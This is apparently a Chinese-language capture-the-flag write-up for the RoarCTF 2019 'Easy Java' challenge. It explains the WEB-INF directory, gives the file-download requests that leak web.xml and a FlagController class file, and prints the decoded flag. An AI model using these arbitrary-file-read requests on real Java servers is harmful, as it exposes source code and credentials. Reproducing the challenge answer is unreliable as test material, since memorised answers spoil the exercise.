RoarCTF-2019-Easy-Java

[RoarCTF 2019]Easy Java

知识点:

  • WEB-INF/web.xml泄露
1
2
3
4
5
6
7
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

漏洞检测以及利用方法:

通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。

解题

首页->help(一遍CTF题目中有help都是提示)

有经验的遇到java.io.FileNotFoundException:{help.docx}换下请求方式,结果就可以了;

同时url栏可以看到是download,初步推测此处的利用包含漏洞找flag文件,文件泄露

GET换成POST方式访问:

1
/Download?filename=/WEB-INF/web.xml

发现FlagController

构建新的payload:

1
/Download?filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

base64解码

1
2
3
ZmxhZ3thOTNkZmU5OC0zZWM2LTQzNzYtYWRiMS0yMjkzMjVlZjU3NzJ9Cg==
==>
flag{a93dfe98-3ec6-4376-adb1-229325ef5772}